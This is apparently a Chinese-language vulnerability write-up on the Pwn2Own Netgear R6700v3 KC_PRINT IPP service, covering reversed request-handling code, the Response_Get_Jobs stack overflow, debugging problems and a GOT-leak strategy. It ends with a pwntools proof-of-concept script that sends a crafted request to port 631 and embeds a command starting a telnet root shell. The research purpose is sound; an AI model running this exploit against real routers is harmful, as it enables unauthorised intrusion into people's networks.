0x00 前言 看见swing师傅博客看见的,直接开学
https://bestwing.me/nccgroup-in-pwn2own-pwned-netgear-r6700-route-vulnerability-analysis.html
sectoday 2022.09.01推送的:
• NCC Con Europe 2022 – Pwn2Own Austin Presentations: https://research.nccgroup.com/2022/08/30/ncc-con-europe-2022-pwn2own-austin-presentations/
固件下载:
https://kb.netgear.com/000062417/R6700v3-Firmware-Version-1-0-4-102
0x01 分析函数流程 ppt上写的是KC_PRINT服务,分析后会发现这里是个IPP (Internet Printing Protocol) 服务:是一个在互联网上打印的标准网络协议,它允许用户通过互联网做远距离打印。
先查看pthread_create函数,会发现KC_PRINT
以不同的线程处理不同的功能,对于这些功能,我们可以一个一个逆向去看
虽然KC_PRINT二进制文件没有提供符号信息,却提供了很多日志/错误函数,其中包含一些函数名。
套娃 先是在start_ipp函数的里启动ipp_threads函数,后续进行了判断版本号的操作
ipp_threads函数启动一个线程打开ipp_server函数
ipp_server监听631端口,然后再启动do_ipp_http_thread函数
该函数会接着调用do_http
do_http do_http这个函数用来处理对应的 IPP 协议的 HTTP 请求。
首先先查看是否能收取到客户端发来的100-continue,然后该函数会向客户端发送一个”HTTP/1.1 100 Continue”响应,表明服务器已准备好接收完整请求。
搜索字符串POST /USB
使用strstr()
函数在 URL 中搜索字符串”_LQ”,从请求 URL 中提取打印机 ID
使用atoi()
函数将打印机 ID 转换为整数
如果打印机 ID 大于 10,则函数返回 -1
函数调用check_printer()
函数来检查打印机当前是否可用
check_printer函数会去读取/proc/printer_status这个文件
do_airippWithContentLength haystack+=16就是正好"Content-Length: "
的值
取出 Content-Length:
后的值作为 content_length
传入 do_airippWithContentLength
函数中。
并且在进入函数之前,函数还接收了8个字符,进入到 do_airippWithContentLength
函数后, 会根据这个8个字节长度的消息, 来决定进一步调用哪个函数。
do_airippWithContentLength
函数在读取8个校验字符后,会用to_read
将整个http数据包读取到recv_buf
里面。
我们知道Response_Get_Jobs()
存在栈溢出漏洞,想要触发这个漏洞点,我们可以构造b'\x00\x00\x00\x0a\x00\x00\x99\x99'
满足条件。
这里其实已经可以注意到了,一路走下来,content_length
的长度都是没有被检测的。
Response_Get_Jobs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 flag1 = 0 ; prefix_size = 74 ; prefix_ptr = malloc (0x4A u); if ( !prefix_ptr ){ perror("Response_Get_Jobs: malloc xx" ); return -1 ; } memset (prefix_ptr, 0 , prefix_size);cnt = memcpy_n((int )prefix_ptr, total, &recv_buf[offset], 2u ); total += cnt; if ( *recv_buf == 1 && !recv_buf[1 ] ) flag1 = 1 ; offset += 2 ; *((_BYTE *)prefix_ptr + total++) = 0 ; *((_BYTE *)prefix_ptr + total++) = 0 ; offset += 2 ; total += memcpy_n((int )prefix_ptr, total, &recv_buf[offset], 4u ); offset += 4 ; v12 = 66 ; cnt = memcpy_n((int )prefix_ptr, total, &unk_1823C, 0x42 u); total += cnt; ++offset; memset (v9, 0 , sizeof (v9));memset (suffix_data, 0 , sizeof (suffix_data));suffix_data[suffix_offset++] = 5 ; if ( !flag1 ){ while ( recv_buf[offset] != 3 && offset <= content_length ) { if ( recv_buf[offset] == 68 && !flag2 ) { flag2 = 1 ; suffix_data[suffix_offset++] = 68 ; n = ((unsigned __int8)recv_buf[offset + 1 ] << 8 ) + (unsigned __int8)recv_buf[offset + 2 ]; cnt = memcpy_n((int )suffix_data, suffix_offset, &recv_buf[offset + 1 ], n + 2 ); suffix_offset += cnt; } ++offset; n = ((unsigned __int8)recv_buf[offset] << 8 ) + (unsigned __int8)recv_buf[offset + 1 ]; offset += 2 + n; n = ((unsigned __int8)recv_buf[offset] << 8 ) + (unsigned __int8)recv_buf[offset + 1 ]; offset += 2 ; if ( flag2 ) { memset (command, 0 , sizeof (command)); memcpy (command, &recv_buf[offset], n);
0x02 环境搭建 1 2 3 4 5 6 7 8 9 10 11 12 13 14 usblp [KC] R6400v2 IPP v1.4 Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9103) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9104) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9102) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9101) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9105) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9100) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9106) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9107) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9108) Start (Jul 18 2016 16:33:31) [KC] R6400v2 RawTCP v1.4 (port = 9109) Start (Jul 18 2016 16:33:31)
patch后其实还是出现了问题,如果我直接用gdb远程调试KC_PRINT程序的话,会报一个错:
1 2 3 4 5 Reading /lib/ld-uClibc.so.0 from remote target... Reading symbols from target:/lib/ld-uClibc.so.0... (No debugging symbols found in target:/lib/ld-uClibc.so.0) 0x76ff2930 in _start () from target:/lib/ld-uClibc.so.0 Exception occurred: Error: maximum recursion depth exceeded while calling a Python object (<class 'RecursionError'>)
好像是因为KC_PRINT没有符号表,启动KC_PRINT文件中的start函数的时候,会去调用libc.so.0中的_uClibc_main程序。 然后就出现了递归报错,如果我在gdb里直接接着向下c执行的话,可以执行到 rawTCP_start函数,打印出几句话就陷入等待了,之后再send发送数据也没什么反应。并且gdb没办法查看数据。
跟swing师傅沟通后,才发现他是用实机调试的,所以大家想实际调试的话需要买一台真实设备。
0x03 利用 前置check 1 2 3 4 5 6 7 8 9 pwndbg> checksec [*] '/home/parallels/tools/qemustart/rootfs/usr/bin/KC_PRINT' Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000) pwndbg>
程序中没有system
或者popen
之类的函数,所以不能直接ret2system。
继续阅读代码会发现,Response_Get_Jobs
函数下面有一个write_ipp_response
函数,它的目的是向客户端套接字发送HTTP响应,我们可以通过它来泄漏got表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __fastcall write_ipp_response (int client_sock, const void *response_body, size_t response_len) { size_t total_len; size_t total_len2; size_t total_len3; size_t total_len4; size_t total_len5; char header[32 ]; char total[1024 ]; ssize_t sent_len; void *sent_data; sent_data = 0 ; memset (total, 0 , sizeof (total)); memset (header, 0 , sizeof (header)); strcpy (total, aHttp11200OkCon); snprintf (header, 0x20 u, "%d\r\n\r\n" , response_len); strcat (total, header); total_len = strlen (total); sent_data = malloc (total_len + response_len); if ( sent_data ) { total_len2 = strlen (total); memset (sent_data, 0 , total_len2 + response_len); total_len3 = strlen (total); memcpy (sent_data, total, total_len3); total_len4 = strlen (total); memcpy ((char *)sent_data + total_len4, response_body, response_len); total_len5 = strlen (total); sent_len = send(client_sock, sent_data, total_len5 + response_len, 0 ); free (sent_data); sent_data = 0 ; if ( sent_len == strlen (total) + response_len ) { return 0 ; } else { puts ("write ipp response xx" ); return -1 ; } } else { perror("write_ipp_response: malloc xx" ); return -1 ; } }
我们可以修改prefix_ptr
参数为got表,然后对其进行泄漏,但是这里要注意接下来有个free
1 2 3 4 5 6 7 8 final_ptr = malloc (++v30); cnt = memcpy_n((int )final_ptr, response_len, prefix_ptr, prefix_size); v10 = write_ipp_response(client_sock, final_ptr, response_len); if ( final_ptr ){ free (final_ptr); final_ptr = 0 ; }
直接控制 prefix_ptr == 000180F0
, 在 free
的过程中会造成崩溃。 但是把 prefix_ptr
指向got表开头就不会发生问题。
结束循环到 write_ipp_response
函数之前 ,我们还需要过两个地方
最后的利用:这里直接copy了swing师傅的,因为我没机器调试,主要是对漏洞点进行了分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from pwn import cyclicfrom pwn import p32cmd = b'/bin/utelnetd -p 3343 -l /bin/ash \x00' cmd = b'/bin/touch /tmp/hacked' cmd += b"\x00" * (len (cmd) % 4 ) def leak_uclibc (): recv_buf1 = b'\x00\x00\x00\x0a\x00\x00\x99\x99' recv_buf2 = b'\x00\x44\x00\x00\x10\x5d' recv_buf2 += b'job-id\x00\x00' junkdata = cyclic(0x104c , n=4 ) junkdata = bytearray (junkdata) junkdata[1026 : 1026 + len (cmd)] = cmd junkdata[0x103c : 0x103c + 4 ] = p32(0x106a -0xe ) junkdata[0x1048 : 0x1048 + 4 ] = p32(0x20 ) junkdata = bytes (junkdata) recv_buf2 += junkdata recv_buf2 += p32(20 ) recv_buf2 += p32(0x180E4 ) recv_buf2 += b'\x03' payload = b'POST /USB1_LQ\r\n' payload += b'Content-Length: %b\r\n' % str (len (recv_buf1 + recv_buf2)).encode('latin1' ) payload += b'\r\n' p = remote("192.168.3.2" , 631 ) p.send(payload) p.send(recv_buf1) p.send(recv_buf2) p.recvuntil(b'\r\n\r\n' ) p.recvn(8 ) _dl_linux_resolve = u32(p.recvn(4 )) print ('_dl_linux_resolve : {:#x}' .format (_dl_linux_resolve)) ld_uClibc = _dl_linux_resolve - 0x3e70 print ('ld_uClibc : {:#x}' .format (ld_uClibc)) p.recvn(4 ) printf_addr = u32(p.recvn(4 )) print ('printf : {:#x}' .format (printf_addr)) uClibc = printf_addr - 0x360e0 print ('uClibc : {:#x}' .format (uClibc)) return ld_uClibc, uClibc leak_uclibc()